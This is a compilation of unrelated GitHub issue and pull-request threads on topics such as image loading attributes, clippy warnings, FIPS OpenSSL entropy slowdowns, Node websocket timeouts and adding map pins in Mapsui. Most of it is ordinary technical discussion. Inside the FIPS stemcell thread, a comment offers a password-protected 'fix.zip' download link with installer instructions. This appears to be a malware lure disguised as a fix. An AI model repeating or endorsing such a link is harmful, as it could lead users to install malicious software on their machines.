Optimize image by adding decoding & loading attributes 🖼

Optimize <img />

Adding decoding attribute with async value which decode the image asynchronously to reduce delay in presenting other content.
Adding loading prop with lazy as a value which defers loading the image until it reaches a calculated distance from the viewport, as defined by the browser. The intent is to avoid the network and storage bandwidth needed to handle the image until it's reasonably certain that it will be needed.

Sorry if I made any mistakes :(

Thanks for the PR @sanjaiyan-dev ! Can u use a formatter like Prettier to format the files that u edited? The builds are failing because of formatting issues.

Done :)


Fix public API clippy warnings

Turns out by default clippy does not lint certain parts of the public API.
Specifically, by setting avoid-breaking-exported-api = false we can get clippy to lint the public API for various things including
wrong_self_convention.
This means the saga of to/into/as continues ... we have used the wrong from for many of our to_* methods, they should consme self. Patch 1 fixes them. Patch 2 adds an allow. Patch 3 fixes a few error enum variant identifiers (removes Error suffix).

Once I actually ran the tests (bad Tobin), I was sad to see that with all these pubic API changes this PR only includes changes to one unit test and one rustdoc example. I think we need more thorough testing of our public API if we are going to achieve stability.


MacroSystem should handle fully qualified macro name

Description
When unit testing macro expansions using SwiftSyntaxMacroExpansion, there's no way for it to expand fully qualified attached macro
https://github.com/swiftlang/swift-syntax/blob/2a731fb0dd4265bc344d7599febe210122c19de5/Sources/SwiftSyntaxMacroExpansion/MacroSystem.swift#L997
Steps to Reproduce
Try to write a unit test that expands a fully qualified attached macro:
@MyModule.MyMacro var hello = "world"

Neither of the following in the dictionary works with the SyntaxProtocol.expand function
[
    "MyMacro": MyMacro.self,
    "MyModule.MyMacro": MyMacro.self,
]

Tracked in Apple’s issue tracker as rdar://137364509


Lab meeting topics | November and December

Please add your requests and suggestions for lab meetings on 7, 21, 28 November and 12 December 😄
Some ideas to start us off:

Synchronising contributing guidelines across Whitakerlab projects
An intro to Jupyter book (@emdupre?)
An intro to visualisation in python (@sparkler0323?)
An intro to the brain imaging data structure (@KirstieJane?)
Designing & delivering an effective talk
Book club (we all read a book and discuss it)
Open leadership cohort (@malvikasharan & @yochannah?)

But these are just to prompt you - I'd love for the meetings to cover topics that you think are really useful. Maybe go through the previous lab meeting notes and pull out discussions that you'd like to have a greater discussion on?
Thank you for your ideas! ✨

Not managing to read as many books as there are book clubs I'd like to join, but maybe we can read a paper together? I think people mentioned good reads in the notes, maybe we can pick one of them. And pick up a few topics from there would be good, just as I would think some reflection a few weeks later might be good.

7 November: Georgia - all project discussion of how we can each contribute to the other projects in the lab
21 November: Kirstie - "What even is impact?" - this might end up being a group viewing of interesting talks from SpotOn London, or an open discussion of the very many definitions of impact. https://www.eventbrite.co.uk/e/spoton-london-2019-communicating-research-for-societal-impact-tickets-67002112121
28 November: Yo - self care and taking care of your community
12 December: Ang - vizualisation - please all bring a figure you like - Ang to lead discussion on how to make beautiful figures for scientific papers (and beyond)


Lower accuracy when using SeqGRU instead of GRU with Sequencer

Has anyone run into this before? I haven't read the source code of SeqGRU carefully but I'm assuming it was written to be identical in structure to a GRU with a Sequencer. Are there any known differences that might be causing this?
The weight initialization seems to be different, but I'm not sure if that's the problem. I was going to try and initialize SeqGRU's weights similar to the way linear layers are initialized in GRU.
To be concrete, here's how I'm using them:
      if opt.optimized_pass1 then
         print('OPTIMIZED PASS 1')
         pass1:add(nn.SeqGRU(opt.wordvec_size, hiddenSize))
         pass1:add(Select(1, -1)) -- this selects the last time-step of the rnn output sequence
      else
         print('REGULAR PASS 1')
         pass1:add(nn.Sequencer(nn.GRU(opt.wordvec_size, hiddenSize)))
         pass1:add(nn.SelectTable(-1)) -- this selects the last time-step of the rnn output sequence
      end

It's true that the initialization is different, other than that SeqGRU should behave the same as GRU, the test code which checks this is defined here:
https://github.com/Element-Research/rnn/blob/master/test/test.lua#L6233
You can convert from a SeqGRU to a GRU, so you could potentially check how it behaves if you initialize your model as such:
print('REGULAR PASS 1')
pass1:add(nn.Sequencer(nn.SeqGRU(opt.wordvec_size, hiddenSize):toGRU()))

It looks like initialization was the problem. When I created a GRU from a SeqGRU, my accuracy scores dropped by about 3%. And when I copied over the weights and biases from a GRU to a SeqGRU, it was able to reach better optima.
I'm having similar issues with cudnn's GRU as well. Looks like initializing all gates with the same std isn't working very well. I'll probably file an issue in that project as well. For now I think I'll just copy over the params.
Do you think we should do something about the current default way of initializing SeqGRUs? Or perhaps is the difference unnoticeable in most cases?

Would be great if you could figure out what is a good default. You could try self.bias:normal(0,std), as this is how guillitte used it.

This is how SeqGRU initializes parameters: https://github.com/Element-Research/rnn/blob/master/SeqGRU.lua#L79-L87.
On the other hand, GRU just uses the default module initializations: https://github.com/Element-Research/rnn/blob/master/GRU.lua#L42-L130. So it uses this: https://github.com/torch/nn/blob/master/Linear.lua#L39-L40.
@JoostvDoorn @sidharthms Do you think we should modify SeqGRU to use the same initialization as GRU?

Seems to work fine now, the problem was probably due to some other issue I guess.


Node should compose Events instead of mixing it in

At April 16 developer meeting, we agreed that Node should compose Events instead of mixing it in, because it is too broad of an interface for every Node.  Node.addEventListener can forward to Node.events.on (instead of Node.on)

Will be handled by other event/emitter/etc. related issues, as we'll need to check what in Node is being used currently.


Performance Degradation with FIPS Stemcell

Original Issue Description (slightly modified from Slack)
We've recently started to adopt the FIPS stemcell in some of our environments. When we reached the first environment which had a slightly elevated background load we immediately ran into issues with HAProxy and openssl. We can see that openssl on ubuntu uses an interesting [1,2] way to generate random numbers which boils down to performing expensive checksum calculations over and over again to get some jitter in the execution time and use that as true entropy for generating random numbers. Since our HAProxy uses the openssl shipped with the OS and does TLS handshakes with clients and gorouter it requires randomness (and therefore entropy), the CPU utilisation jumped up and HAProxy started running into timeouts because it was unable to generate enough entropy with the limited CPU it has. Our rough estimates are that we would need 10x as much resources when enabling FIPS. We've written down our observations in an upstream issue [3] and would like to know whether any of you encountered similar issues and what workarounds are available. We already know of AWS CloudHSM which could be configured to take over the RNG tasks but this is also additional integration effort and the setup as a whole would probably need certification again.
[1] https://www.chronox.de/jent/
[2] https://csrc.nist.gov/CSRC/media/projects/cryptographic-module-validation-program/documents/entropy/E48_PublicUse.pdf
[3] haproxy/haproxy#2588
Details we have discovered in the meantime
We started drilling down on HAProxy and openssl and noticed that the FIPS version of openssl calls getrandom(2) a lot. getrandom(2) on the other hand seems to be limited to 150 calls/s and as a result in our experiments we were only able to accept ~12 TLS connections per second from clients. This results in one saturated core at most. We have consulted with our local crypto experts and their suspicion is that the random number generator is re-seeded way too often causing this bottle-neck as the entropy that can be gained is limited. Since the limit is per-machine the current workaround on our side is to use 2-core VMs, but loads of them, still the per-core conn/s is down from ~125 to ~12 (and this is with considering the 2-core VMs as single-core).
We are in contact with Canonical to understand the behaviour better. I'd be interested to look at the sources but it seems like the kernel source code of the FIPS version is missing. On non-FIPS I can obtain the source by installing linux-source but for FIPS the package linux-fips-source-5.15.0 is missing although its referenced by some other packages:
$ sudo apt install linux-fips-source-5.15.0
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Package linux-fips-source-5.15.0 is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source

E: Package 'linux-fips-source-5.15.0' has no installation candidate

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Implement a Viseme Data filter

About
Azure SDK contains 2 params to pass in SSML with viseme data:

But even if using the second one, ID and Audio Offset are being added to the array data.
Planning

Create a function to remove unnecessary data from Viseme Data Array

#125

New setting to activate viseme data filter in SSML tasks with viseme type set to Facial Expression


Update ingress-controllers.md

Ambassador apparently renamed to Emissary-Ingress.

/lgtm

/sig network

/approve
will manually merge if the preview fails


add blogpost on migrating away from the Jaeger exporter

This is to help users that upgrade to v0.85.0 of the OTel Collector.

I am happy to have it as a blog post to announce and promote it better, but eventually this should be placed somewhere here: https://opentelemetry.io/docs/migration/#jaeger-client

Right the documentation already covers how to use OTLP to send data to Jaeger since https://github.com/open-telemetry/opentelemetry.io/pull/3262, I'm happy to move this content wherever it makes the most sense in the future.

@codeboten if you run npm run test-and-fix then this should go green.

@cartermp what should i do with the refcache check?

Hmm, did npm run test-and-fix not work?

Thanks @cartermp!


Nan Values for mIoU and mAP

Thank you so much for your great work! I met some problems when trying to run on the "garden" scene of MipNeRF360 and really need your help. I could get normal loss after training, but when evaluating, the results are almost all Nan.
This is after training

And this is after evaluation

Here are the commands that I used
g

Hello, how about the generated masks in output/mipnerf360/garden/0/open_new_eval_softmax_s10.0_a05/? Do they appear normal?

The generated masks look not very good. For example, the wood pot:

and the windows

You can use pdb to trace the source of the invalid value, such as the possibility of gt not being read properly or the count having a denominator of 0. Bad masks would typically lead to a low value rather than NaN.


PR for release 1.0.0

PR checklist

[ ] This comment contains a description of changes (with reason).
[ ] If you've fixed a bug or added code that should be tested, add tests!
[ ] If you've added a new tool - add to the software_versions process and a regex to scrape_software_versions.py
[ ] If you've added a new tool - have you followed the pipeline conventions in the contribution docs
[ ] If necessary, also make a PR on the nf-core/pgdb branch on the nf-core/test-datasets repository.
[x] Make sure your code lints (nf-core lint .).
[x] Ensure the test suite passes (nextflow run . -profile test,docker).
[x] Usage Documentation in docs/usage.md is updated.
[x] Output Documentation in docs/output.md is updated.
[x] CHANGELOG.md is updated.
[x] README.md is updated (including new tool citations and authors/contributors).

P.S: Why didn't you change to the new help generation introduced with the new template? Or am I missing it?
You can remove your help message now and add a small "createHelp" command that reads from the json schema

I think the linting is failing because you accidently did a change to:
.github/PULL_REQUEST_TEMPLATE.md and lib/NfcoreSchema.groovy
Maybe you can replace them with the originals from the TEMPLATE branch again.


Error on build docker image on Windows

Steps:

Clone the last release version of this repo.
docker build -t cardano-address .

Output:

=> [internal] load build definition from Dockerfile                                                                                0.3s
=> => transferring dockerfile: 32B                                                                                0.2s
=> [internal] load .dockerignore                                                                                0.2s
=> => transferring context: 35B                                                                                0.1s
=> [internal] load metadata for docker.io/frolvlad/alpine-glibc:alpine-3.11_glibc-2.30                                                                            2.5s
=> [internal] load metadata for docker.io/library/haskell:8.6.5                                                                                2.5s
=> [build  1/13] FROM docker.io/library/haskell:8.6.5@sha256:6ae86033bfa75027fc36a63bb69e7fa41d4e7df6ae4a78baeb77dafc94488d81                                     0.0s
=> [stage-1 1/7] FROM docker.io/frolvlad/alpine-glibc:alpine-3.11_glibc-2.30@sha256:745918f5914d71975767ba29cc250c2e74b2735b314c6dd3e9889c874528b947              0.0s
=> [internal] load build context                                                                                0.2s
=> => transferring context: 13.20kB                                                                                0.1s
=> CACHED [stage-1 2/7] RUN apk add --no-cache gmp=6.1.2-r1 bash=5.0.11-r1 bash-completion=2.9-r0                                                                 0.0s
=> CACHED [build  2/13] WORKDIR /build                                                                                0.0s
=> CACHED [build  3/13] RUN apt-get update && apt-get install --no-install-recommends -y   build-essential=12.3   git=1:2.11.*                                    0.0s
=> CACHED [build  4/13] RUN stack upgrade --binary-version 2.1.3                                                                                0.0s
=> CACHED [build  5/13] COPY stack.yaml .                                                                                0.0s
=> CACHED [build  6/13] RUN mkdir -p command-line core                                                                                0.0s
=> CACHED [build  7/13] COPY core/package.yaml core/package.yaml                                                                                0.0s
=> CACHED [build  8/13] COPY command-line/package.yaml command-line/package.yaml                                                                                0.0s
=> ERROR [build  9/13] RUN stack setup                                                                                7.3s

[build  9/13] RUN stack setup:
#16 7.132 Specified source-dir "lib" does not exist
#16 7.132 Specified source-dir "test" does not exist
#16 7.138 Specified file "./schemas/address-inspect.json" for extra-source-files does not exist
#16 7.138 Specified source-dir "exe" does not exist
#16 7.138 Specified source-dir "lib" does not exist
#16 7.138 Specified source-dir "test" does not exist
#16 7.139 /build/jsbits/: getDirectoryContents:openDirStream: does not exist (No such file or directory)

executor failed running [/bin/sh -c stack setup]: exit code: 1

I have the same error on Debian. Did you solve it?

@CardanoItaly nop, I didn't


grandpa: store the authority id that is used for voting per round

The GRANDPA voter environment is responsible for updating (and persisting) the voter state whenever an action is performed by the voter (e.g. starting a new round, prevoting, precommitting, completing a round). In order to update the voter state it is required to figure out what is the current local authority id that is being used for voting, if none is available (i.e. we are not an active voter) then we don't need to update the voter state. Currently we always check from the keystore whenever we want to figure out what is the local authority id but this could lead to internal inconsistencies if the keystore state changes during the round, for example if a key is removed during the round we might not update the voter state after prevoting since there's no local authority id.
This PR adds a cache for the local authority id that we'll be using to vote on the given round that is populated when we start the round and cleared when the round is completed. This guarantees that we keep a static local authority id throughout the round lifecycle.
(NOTE: The reason this was implemented like this is because initially the Environment would own an AuthorityPair which would stay constant throughout the voter lifecycle. When the keystore was added later on the existing logic was kept.)

burn-in showed no issues. bot merge.

bot merge

bot merge


Convert Kubernetes Best Practices policies to CEL

Problem Statement
Kubernetes Best Practices policies are written using Kyverno patterns and JMESPath, which means they cannot be executed as ValidatingAdmissionPolicy resources in the API server.
Solution Description
Convert Kubernetes Best Practices policies, and other validating policies, to CEL wherever possible.
Example "Good" Resource
No response
Example "Bad" Resource
No response
Other Comments
No response
Slack discussion
No response
Troubleshooting

[X] I have read and followed the documentation AND the troubleshooting guide.
[X] I have verified the policy does not exist in the samples library.

/assign

Seems interesting will to applying to it .

@MariamFahmy98 @JimBugwadia  @anusha94  just for confirmation here, i wanna to ask that with Kubernetes Best Practices policies, you mean policies that are present inside this best-practices folder and this issue states to convert those policies into CEL? Am i right here?

@MariamFahmy98, you've got a lot of PRs to review here 😄

There's more on the way :)


URL missing for the Amazon's Quantum Blog link in umbrella_inversion.ipynb

When I click the link in https://github.com/goodchemistryco/Tangelo-Examples/blob/main/examples/hardware_experiments/umbrella_inversion.ipynb, then I get a 404 for the https://github.com/goodchemistryco/Tangelo-Examples/blob/a3f2d4ce1030f48c4ffd7c17e3656253c91f7890/examples/hardware_experiments/url
PS, thanks for your #ACSFall2023 talk!

Hi @egonw and thanks for raising this issue! We created a PR (as mentioned just above this comment) to resolve this, but in the meantime, here is the URL: https://aws.amazon.com/blogs/quantum-computing/exploring-quantum-chemistry-applications-with-tangelo-and-qemist-cloud-using-amazon-braket/.

Thank you so much for taking the time to bring this up @egonw !
We love feedback and we strive to make Tangelo a useful tool for the community. Any star / fork / feedback / contribution to this project is super welcome and helpful at this point :)
Enjoy the rest of the conference, don't hesitate to chat with @JamesB-1qbit if that's relevant


Allow configuration table Height in pixels with TableOptions property tableHeight.

I wanted a way to enable the table height to be configurable and could not find an option to do this.
I using the table option with scrolling, not pagination.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.

Cool, thanks for the contribution!

So I'm looking back at this, why would you not set the element's height and use scrollbarV?

@amcdnl - I am using scrollbarV option only all my grids. I tried setting the element's height but because the bodyHeight was set to 300, it would only render 5 rows, it didn't matter what I had tried.

See if it works now in 0.7.4. I think it was a bug I fixed last night

Sorry this did not work, I changed the height of the table using css and number of rows displayed to not increase.

Can u make a demo of what u are seeing? I can't seem to repo this.

Ok all good this now working. You could remove redundant code.


Every connection gets closed by ERR_HTTP_REQUEST_TIMEOUT after a minute

It appears that an upgraded connection is still considered as an ongoing http request, which then gets killed after the default timeout.
 Error [ERR_HTTP_REQUEST_TIMEOUT]: Request timeout
      at new NodeError (node:internal/errors:377:5)
      at onRequestTimeout (node:_http_server:706:30)
      at Server.checkConnections (node:_http_server:519:7)
      at listOnTimeout (node:internal/timers:564:17)
      at process.processTimers (node:internal/timers:507:7)

I was bit by the same bug, which looks like it came in with Node 18. What worked for me is disabling the server requestTimeout and headersTimeout by setting them to 0:
const server = app.listen(PORT)
server.requestTimeout = 0
server.headersTimeout = 0

However, this is probably safest if your app is deployed behind a proxy that can close down partial requests properly and prevent against associated DoS attacks.

Yeah this is a bug in Node's C++ socket implementation. This is another workaround:
koa.use(async (ctx, next) => {
	if(ctx.ws){
		ctx.req.socket.ignoreTimeout = true
		//handle socket
	}else{
		return await next(ctx)
	}
})

koa.listen(80)
	.on('clientError', (error, socket) => {
		if(error.code === 'ERR_HTTP_REQUEST_TIMEOUT' && socket.ignoreTimeout)
			return

		console.warn(`client error:`, error)
		socket.destroy()
	})

Thanks for this pointer @Mwni, I've cited this thread in a PR I made as a contribution to add a feature like this library does for Next.js. Your comment gave me the pointer I needed to write this commit:
https://github.com/vercel/next.js/pull/58704/commits/486b36237a213ebf4c19a3bd8f296fad5b400a64


can I not show "safari cannot open the page becuase address is invalid"

Hello.
When Ios, app is not installed, if I click url(https://moneypin.app.link/test-ios) in ios note apps.

appear this error. and then can move app store.
can i not show this error message? I hope to move directly app store, if app not installed
my config is
Default Link Domain : moneypin.app.link
Link Setting => ios url scheme : moneypin://
    <branch-config>
        <uri-scheme value="moneypin" />
        <link-domain value="moneypin.app.link" />
    </branch-config>

I already set ios universal link option.

Please file a support ticket.  It's possible this is a dashboard configuration issue.

@echo-branch  Thanks for reply. I will attempt to solve this myself. And then will file a support ticket.

This turned out to be due to cache issue.
reference below issue.
https://github.com/BranchMetrics/ios-branch-deep-linking-attribution/tree/master/Branch-TestBed-Swift#test


Libs(Go): template overrides for nullable non-required containers

In #1448 the EndpointIn model was hand-edited such that channels and filterTypes were nullable, and thus correctly omitted from request bodies sent to the server.
This series of commits attempts to remove the need to keep reapplying this patch with each spec bump by updating the codegen template used to produce the model code.
This change is comprised of 3 commits:

the addition of a template override for model_simple (src) as-is, taken from openapi at the v5.2.0 tag (matching the version of the generator we're using currently).
some modifications to said template, i.e. our patch.
updated go sources from running the generator.

When reviewing the template, it'll therefore be useful to go commit by commit so you can see the diff applied against the upstream.
This change has widespread impact as many models are changing. I'm still trying to figure out how we can prove everything is kosher and not causing accidental breakage. Open to ideas 🤔
Existing tests are passing, and everything typechecks, so at the very least the codegen output is self-consistent.

It'd be great to have some basic tests before merging this / confirmation that they're passing. They don't need to be wired into CI now, but just having some that can be run manually would be a good starting point.

It'd be great to have some basic tests before merging this / confirmation that they're passing. They don't need to be wired into CI now, but just having some that can be run manually would be a good starting point.

I raised https://github.com/svix/svix-webhooks/pull/1452 which will run any Go tests for this in CI.
Will need to add more tests to cover the 28 model sources impacted, and like you suggested, they may need to be skipped in CI until we get the infra side of this figured out.
It'll take me a minute to get that going. In the meantime, #1452 should de-risk an accidental revert of the hand-edit for EndpointIn.

So do you want this merged now, or hold off?

So do you want this merged now, or hold off?

Hold off.


Single monolithic jar

So lets say I wanted to be able to create one executable monolithic fat jar from the root that contained all compiled code and dependencies from all sub-projects? How would I modify the build.gradle in the root for this kind of behavior?

I don't think you could do it from the root, but you might be able to set up a third sub-project that contains something like this in its build.gradle file to make it a superset of the other subprojects:
dependencies {
compile project(':Profiles-Blog-Sender')
compile project(':Profiles-Blog-Receiver')
}
Note that this example won't work for this particular blog due to a property conflict on "server.port", but this would be the general approach to making a monolith out of subprojects.
Also, make sure this is present, it makes all your external dependencies get packaged inside the JAR:
apply plugin: 'io.spring.dependency-management'
Ensure your monolith sub-project's build.gradle doesn't have bootRepackage {enabled=false}, or it will disable that repackaging feature.


I haven't got a clue how to progress beyond the world example!!! :(

I've got the basic world map appearing in my .net Maui app.
You say:
The best way to get started with mapsui is to download the source and run a samples app.
Not for me it isn't!.
I'd like to try and understand what is going on and rather than spend my life decoding someone else's code (and I've tried) I'd just like some simple examples on how to do the basics (in writing, or a video).
So for example, I have my location, how do I programmatically set the location for the map and then programmatically fix a scale? (I don't even know the correct terms.)
Then I'd like to pin some locations on the map.
That would be a really good start.
Ta
G.

@gfmoore Mapsui is an open source project with limited resources and at the moment it is simply not possible provide extensive documentation or videos. More and better documentation is one of our goals but at the moment getting a stable v4 released has a higher priority.
Perhaps the setup of the samples (the way they are loaded and activated) is complicated but that is not something you need to understand. The sample files themselves (those derived from ISample) are often fairly simple. For instance look at the Zoom Lock sample to fix the scale or the Write To Layer sample to add a pin.

Uhmmm, well okay I've managed to get my map to scale by hacking away and looking all over to get some code that works: (and for the benefit of others using .net Maui - and I bet you wish you weren't!!)
      //you'll need to get a location using IGeolocation - let me know if you need some code
      location = await geolocation.GetLocationAsync(new GeolocationRequest
      {
        DesiredAccuracy = GeolocationAccuracy.Best,
        Timeout = TimeSpan.FromSeconds(30)
      });

      var smc = SphericalMercator.FromLonLat(location.Longitude, location.Latitude);

      var mapControl = new Mapsui.UI.Maui.MapControl();
      var map = mapControl.Map;
      //map.BackColor = Mapsui.Styles.Color.FromString("#000000");
      map.BackColor = Mapsui.Styles.Color.Black;

      map?.Layers.Add(Mapsui.Tiling.OpenStreetMap.CreateTileLayer());

      map.Widgets.Add(new ScaleBarWidget(map));
      map.Widgets.Add(new ZoomInOutWidget { MarginX = 10, MarginY = 20 });  //adds the +/- zoom widget

      map.Home = n => n.NavigateTo(new MPoint(smc.x, smc.y), map.Resolutions[16]);  //0 zoomed out-19 zoomed in
      IsBusy = false;

      //add to my xaml (I have a grid which contains a <ContentView x:Name="MapDisplay"></ContentView>
      MapDisplay.Content = mapControl;

Oh and you'll need to import a load of stuff Mapsui.xxxx etc
So my problem is adding a pin to my location. Following the example doesn't work.
 //add a pin
      var layer = new GenericCollectionLayer<List<IFeature>>
      {
        Style = SymbolStyles.CreatePinStyle()
      };
      map.Layers.Add(layer);

      layer?.Features.Add(new GeometryFeature
      {
          Geometry = new Point(smc.x, smc.y)
      });

      layer?.DataHasChanged();

There seems to be a mismatch between Point - the type is Microsoft.Graphics.Maui.Point to NetTopologySuite.Geometries.Geometry
I tried putting
Mapsui. xxx.xxx.Geometery = new Mapsui.MPoint to get types aligned.
I could not find a reference for Geometry in the api (Not using filter anyway)
I'm assuming!!! that what this code does is create a layer over the map that will display pins and that any point you add to it's internal list will render as a pin, but I'm simply guessing!!!
And though I take your point that you are working hard on v4 what is it all worth if peeps don't know how to use it!!!
I mean, please spend a day on just writing some simple explanations of the concepts and how to get this basic stuff working. I've spent yet another 3 hours this morning getting nowhere. It's all very well saying look at the samples, but a) the sln won't build and b) even then I don't know where to look. It's simply gobbledegook to me. c) Your coding approach looks very clever, but is way beyond my understanding at this time.
In terms of my problem I was hoping to do something like
layer.Features.Add(new Pin.Point(x, y));
Thanks for any help.

Hi,
I saw many comment on the need of a better documentation, but I don't see a description of what is the problem. Do you see anything on the screen? Do you get an error?
The object Point could be found in each of the libraries that are out. Because there isn't one in the native .Net, all the libraries have to make their own. GeometryFeature could be found very fast, if you search "GeometryFeature.cs". Mapsui should use an own file for each object type. In this case, you use GeometryFeature from the package Mapsui.NTS, which then uses a Point for Geometry from the NetTopologySuite.Geometries (see NetTopologySuite.Geometries.Point) package. I assume, you use the wrong type for Point, but I could only assume, because you don't tell us anything about what happens.
Loading some more dependencies should be the normal case, because no one will invent the wheel again. And not all users of Mapsui need all parts of it.
I would say, it isn't trivial to write a documentation for each user, regardless of his level of knowledge, and for all the platforms Mapsui supports. Perhaps it is better to choose one of the commercial platforms, which are certainly far better documented than Mapsui.

It's very simple mate, show me how to put a pin on my map! Using the getting started example for Maui. How hard is it to do that. Your response I found to be shall we say, unhelpful.
And the documentation IS poor. So much for asking users to get involved. And I'm not a commercial programmer, just trying to write an app for my own purposes.
I have high hopes for this package.

Again, you deliver nothing than criticism. You answered none of my questions. You don‘t provide your demo project. You don‘t provide any information about what you see and what you don‘t see.
I never worked with Maui before. So do you expect, that I should learn it to provide you with help for your project with Mapsui?

If you've not worked with Maui before, then why are you here!!!
Criticism is valid if it is correct and I think my criticism that there is no proper documentation is valid and now there is work on V4. BUT there is no documentation for v1, 2 and 3. I don't think documentation is any objective at all.
I put the code I tried. i put down that there is a type mismatch, I put down that I searched the api but couldn't find "geometry". I've looked through the source code, of which there is so much and much of it is also undocumented and I've no idea what it is trying to accomplish.
All I want to do mate is add a pin to my current location and I don't know how to do it.
If you want to help then please can you explain the concept and what I need to do and if you please a code fragment that will work with .Net Maui.

I'm now sure I won't get any help from this repo, but there it is. Sad.

Oh I've noticed this by the way: http://mapsui.com/documentation/documentation.html
We should iteratively improve the documentation. If questions are asked in the issues we should search for the answer in the documentation. Update the documentation when it is missing and answer the issue with a url to the documentation.
Writing documentation is not only useful to inform the user but also as a sanity check for the developer. If what you have to tell becomes complicated and hard to grasp this could mean the software is not well designed. Writing documentation early should be used as a part of the software development process.
And also this:
http://mapsui.com/documentation/v4.0-upgrade-guide.html
Mapsui.Geometries Removed!!!!

@gfmoore If you like to improve the documentation of mapsui, you can make a pull request to improve the documentation.
The documentation lives here in mapsui https://github.com/Mapsui/Mapsui/tree/master/docfx/documentation and is from there generated for the website.

For anyone else, I finally figured out one way at least of adding a pin
   ...

     var smc = SphericalMercator.FromLonLat(location.Longitude, location.Latitude);

      var mapControl = new Mapsui.UI.Maui.MapControl();
      var map = mapControl.Map;
      var viewPort = mapControl.Viewport;
      //map.BackColor = Mapsui.Styles.Color.Black;

      map?.Layers.Add(Mapsui.Tiling.OpenStreetMap.CreateTileLayer());

      map.Widgets.Add(new ScaleBarWidget(map));
      map.Widgets.Add(new ZoomInOutWidget { MarginX = 10, MarginY = 20 });  //adds the +/- zoom widget

      map.Home = n => n.NavigateTo(new MPoint(smc.x, smc.y), map.Resolutions[16]);  //0 zoomed out-19 zoomed in

      IsBusy = false;

      //add a pin
      var myPin = new Pin(mapView)
      {
        Position = new Position(location.Latitude, location.Longitude),
        Type = PinType.Pin,
        Label = "Zero point",
        Address = "Zero point",
        Scale = 0.7F,
        Color = Colors.Blue,
      };
      mapView.Pins.Add(myPin);

      mapView.Map = map;

'''

re contributing to documentation. If I even understood any of it I would! :)

I just started to look into this lib yesterday and the difference between MapView and MapControl is not really clear to me but here is a way to do it with MapControl:

    public Map CreateMap()
    {
        var map = new Map();
        map.Layers.Add(OpenStreetMap.CreateTileLayer());
        map.Layers.Add( CreatePointLayer());
        map.Home = n => n.NavigateTo(map.Layers[1].Extent!.Centroid, map.Resolutions[5]);
        return map;
    }

    protected override  void OnAppearing()
    {
        base.OnAppearing();
        mapControl.Map = CreateMap();
        mapControl.Info += MapControl_Info;

    }

    private void MapControl_Info(object sender, Mapsui.UI.MapInfoEventArgs e)
    {
        var mapInfo = e.MapInfo; //called on map click allowing access to features
    }
    private MemoryLayer CreatePointLayer()
    {
        return new MemoryLayer
        {
            Name = "Points",
            IsMapInfoLayer = true,
            Features = GetPointFeatures(),
            Style = CreateBitmapStyle()
        };
    }

    private static IEnumerable<IFeature> GetPointFeatures()
    {
        List<IFeature> features = new List<IFeature>();
        var home = new PointFeature(SphericalMercator.FromLonLat(100.564660, 13.691786).ToMPoint());
        home["name"] = "Home";
        features.Add(home);

        return features;
    }

    private SymbolStyle CreateBitmapStyle()
    {
        var bitmapId = typeof(a.class.of.the.assembly).LoadBitmapId(@"Resources.Images.home.png"); //this resource cannot be a MauiImage, it needs to be an embeddedResource
        var bitmapHeight = 176; // To set the offset correct we need to know the bitmap height
        return new SymbolStyle { BitmapId = bitmapId, SymbolScale = 0.20, SymbolOffset = new Offset(0, bitmapHeight * 0.5) };
    }

Another thing I came across is that the current Maui Alpha does not seem to support the OpenStreetMap layer on Android, had to use another base layer (bing) to get it working.

@hellcoderGIT MapControl for Forms or Maui has the same behavior than the MapControl for all other platforms Mapsui support. MapView is a convenience Layer around MapControl. It tries to mimic the behavior of the official MapView from Forms. It uses WGS84 for coordinates and provide a special layer for Pins or Drawables. It has a layer for your own position to show, where you are and follow you.
So for small projects MapView would be the easier entrance to maps. If you understand a little bit better what you are doing, MapControl would be the better.

@charlenni thanks for clarifying this.

Sorry, my bad. The mapView.Map = map; in my code is a link to the xaml view, in this case
<mapsui:MapView x:Name="mapView" />

I should have chosen a better name.
Thanks for your code, which is very helpful and shows me how I should better structure my code. :)
G.

Hi, I decided, belatedly, to create a test app. I can confirm that that using the basic Quickstart Maui that the open street map does display on the pixel 5 emulator.
My repo is at https://github.com/gfmoore/MapsuiTest.App

Hi, I decided, belatedly, to create a test app. I can confirm that using the basic Quickstart Maui that the open street map does display on the pixel 5 emulator.
My repo is at https://github.com/gfmoore/MapsuiTest.App
EDIT: I'm sure you haven't but just in case for anyone else, don't forget to add the permissions if you are getting your location from IGeolocation. For android you need: Android.Manifest.xml
  <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
  <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
  <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
  <uses-feature android:name="android.hardware.location" android:required="false"/>
  <uses-feature android:name="android.hardware.location.gps" android:required="false"/>
  <uses-feature android:name="android.hardware.location.network" android:required="false"/>

For wondows In the Solution Explorer pane, right-click on the Platforms/Windows/Package.appxmanifest file, and select View Code. Under the node, add the element.
See https://docs.microsoft.com/en-us/dotnet/maui/platform-integration/device/geolocation?tabs=windows

this was extremely helpful...Granted, the current stable version as of today  is 4.1.1 and this line:
mapViewElement.Navigator.NavigateTo(new MPoint(smc.x, smc.y), mapControl.Map.Resolutions[16]);  //0 zoomed out-19 zoomed in
now gives this error:
CS1061	'Navigator' does not contain a definition for 'NavigateTo' and no accessible extension method 'NavigateTo' accepting a first argument of type 'Navigator' could be found (are you missing a using directive or an assembly reference?)
but thanks to having your whole text project, I jut downgraded to 4.0.0 beta.5 and now I can finally start playing with mapsui code.

The Navigator has been rewritten. CenterOnAndZoomTo might the best alternative method for what you are doing. Here is the documentation:
https://mapsui.com/api/Mapsui.Navigator.html#Mapsui_Navigator_CenterOnAndZoomTo_Mapsui_MPoint_System_Double_System_Int64_Mapsui_Animations_Easing_

The Navigator has been rewritten. CenterOnAndZoomTo might the best alternative method for what you are doing. Here is the documentation: https://mapsui.com/api/Mapsui.Navigator.html#Mapsui_Navigator_CenterOnAndZoomTo_Mapsui_MPoint_System_Double_System_Int64_Mapsui_Animations_Easing_

Thanks for this. I was able to make everything work with a lil bit of trial and error thanks to your help.
I was looking for how to fix that line before, but I had no idea where to find the info you shared.
And for anyone wondering, this is how that line of code should look with v 4.1.1
